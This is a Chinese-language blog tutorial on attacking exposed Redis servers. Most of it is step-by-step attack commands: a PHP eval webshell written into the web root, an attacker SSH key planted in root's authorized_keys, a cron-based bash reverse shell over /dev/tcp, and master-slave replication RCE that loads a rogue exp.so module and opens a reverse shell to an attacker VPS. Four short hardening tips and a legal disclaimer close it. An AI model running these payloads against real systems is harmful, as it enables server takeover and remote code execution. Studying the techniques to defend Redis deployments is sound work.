redis安全攻防

admin 2024年12月24日12:51:04评论11 views字数 3068阅读10分13秒阅读模式
目录
  1. 简介
  2. 漏洞利用
    1. redis未授权访问
    2. redis写webshell
    3. redis写公钥
    4. redis写计划任务反弹shell
    5. redis主从复制RCE(远程)
    6. redis主从复制RCE(本地)
  3. 修复建议
简介
redis是一种高性能的内存数据库,默认端口6379,由于其默认配置以及功能特性,在实际部署中容易引发多种安全问题。这些漏洞主要来源于不安全的默认配置、未授权访问和功能滥用。
redis常见命令
set name 'simple'    #设置键name的值为simpleget name             #获取键name的值keys *               #获取当前数据库的所有键config set dir /var/www/html    #设置保存目录config set dbfilename test.php  #设置保存文件名称save                 #进行一次备份操作flushall             #删除所有键值对缓存数据slaveof ip port      #设置主从关系 
漏洞利用
1、redis未授权访问
redis默认端口6379,且未设置密码,如果部署在公网或不受限制的网络中,可直接使用redis客户端连接
未授权连接redis:redis-cli -h <target_ip> -p6379执行info命令,查看当前数据库信息:info获取所有的键:key *
redis安全攻防
2、redis写webshell
若目标服务器还开启了web服务,并已知网站目录的路径,且有增改的权限,则可以向网站目录写入webshell
连接redis(未授权或者需要授权):redis-cli -<target_ip>-6379-a password设置目录为网站目录:config set dir /var/www/html任意设置文件名称:config set dbfilename shell.php设置webshell内容(键名任意,这里取了webshell):set webshell "nnn<?php eval($_POST['pass']);?>nnn"进行备份操作,写入webshell:save
redis安全攻防
查看网站目录发现确实存在shell.php文件
redis安全攻防
用cat读取shell.php文件可以看到,多了很多内容,由于这个原因,在设置内容的时候在前后加了n,防止粘连在一起破坏写入的内容。
3、redis写公钥
若是使用root权限启动了redis服务,redis服务权限很大,则可以尝试写入root用户的公钥,从而使用私钥进行ssh连接服务器。
1)生成公私钥,使用kali进行生成,默认会保存在/root/.ssh目录下
ssh-keygen -t rsa
redis安全攻防
2)为防止乱码,读取公钥内容,在前后加上n后保存为key.txt文件
(echo -"nnn";cat id_rsa.pub;echo -"nnn"> key.txt
redis安全攻防
3)利用redis写入公钥
读取key.txt文件的内容作为键rsa_pub的值:cat key.txt | redis-cli -h <target_ip> -p 6379 -a password -x set rsa_pub设置目录为/root/.sshconfig setdir /root/.ssh设置文件名称为authorized_keys:config set dbfilename authorized_keys进行备份操作,写入公钥:save
redis安全攻防
4)使用私钥进行ssh连接
ssh root@<target_ip> -i id_rsa
redis安全攻防
4、redis写计划任务反弹shell
通过redis写入文件到计划任务目录/var/spool/cron下,执行反弹shell的命令
1)开启nc监听
nc -lvnp 2333
redis安全攻防
2)利用redis写入计划任务
设置目录为计划任务的目录config setdir /var/spool/cron任意设置文件名:config set dbfilename root设置计划任务内容:set cron "nnn* * * * * bash -i>& /dev/tcp/<target_ip>/2333 0>&1nnn"进行备份操作,写入计划任务:save
redis安全攻防
成功反弹shell
redis安全攻防
5、redis主从复制RCE(远程)
redis4.x、5.x版本中,支持主从复制功能,用于在多个redis实例之间同步数据,在主从复制中,有一台redis作为主节点,负责处理读写请求,并同步数据给从节点;其余都是从节点,只读实例,通过与主节点建立连接,更新数据。
同步过程:从节点向主节点发送 PSYNC 命令请求数据同步;主节点发送 RDB 快照(Redis 数据文件)和增量数据(AOF 日志)给从节点;从节点接收并加载数据,完成同步。
通过主从复制加载外部模块,可导致命令执行。
远程redis主从复制,对于未授权的使用工具redis-rogue-server(https://github.com/n0b0dyCN/redis-rogue-server)、对于鉴权的使用工具Awsome-Redis-Rogue-Server(https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server)
如下命令将会把攻击机作为主节点,受害机器作为从节点,从节点从主节点加载恶意模块,执行反弹shell的命令
python3 redis-rogue-server.py--rhost <target_ip> --lhost <vps_ip>
redis安全攻防
redis安全攻防
6、redis主从复制RCE(本地)
若只允许本地连接的redis服务器,可以通过开启主从模式从攻击机上同步恶意.so文件至受害机器,在受害机器载入恶意.so文件模块,然后进行反弹shell。主从复制的大致逻辑就是将攻击机设置为主节点,受害机作为从节点,从主节点加载恶意模块。
1)将redis-rogue-server工具中的exp.so文件复制到Awsome-Redis-Rogue-Server工具目录,后续需要利用exp.so中的system模块。
2)开启nc监听
nc -lvnp 2333
redis安全攻防
3)利用工具Awsome-Redis-Rogue-Server,将攻击机作为主节点,并指定同步文件为exp.so
python3 redis_rogue_server.py -v -path exp.so
redis安全攻防
4)将受害机器设置为从节点
连接受害者redis机器:redis-cli -h 192.168.1.130 -p 6379设置目录为/tmp,因为对这个目录一般都有写入权限:config setdir /tmp设置文件名称:config set dbfilename exp.so从主节点同步数据,将主节点上恶意的so文件写入tmp目录的exp.so文件:slaveof <vps_ip> 15000加载写入的so文件中的模块:module load ./exp.so(或者是/tmp/exp.so 因为是将文件保存在tmp目录,然后再加载)查看恶意模块是否加载成功,主要看是否存在system:module list 利用system模块执行反弹shell:system.rev <vps_ip> 2333
redis安全攻防
redis安全攻防
修复建议
1、定期更新redis到最新版本
2、限制redis的访问范围,确保只能在可信的内网访问
3、启用身份认证,设置强密码
4、配置安全的持久化目录,避免redis写入敏感文件或目录
END
查看更多精彩内容,关注simple学安全

原文始发于微信公众号(simple学安全):redis安全攻防

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日12:51:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   redis安全攻防https://cn-sec.com/archives/3546650.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息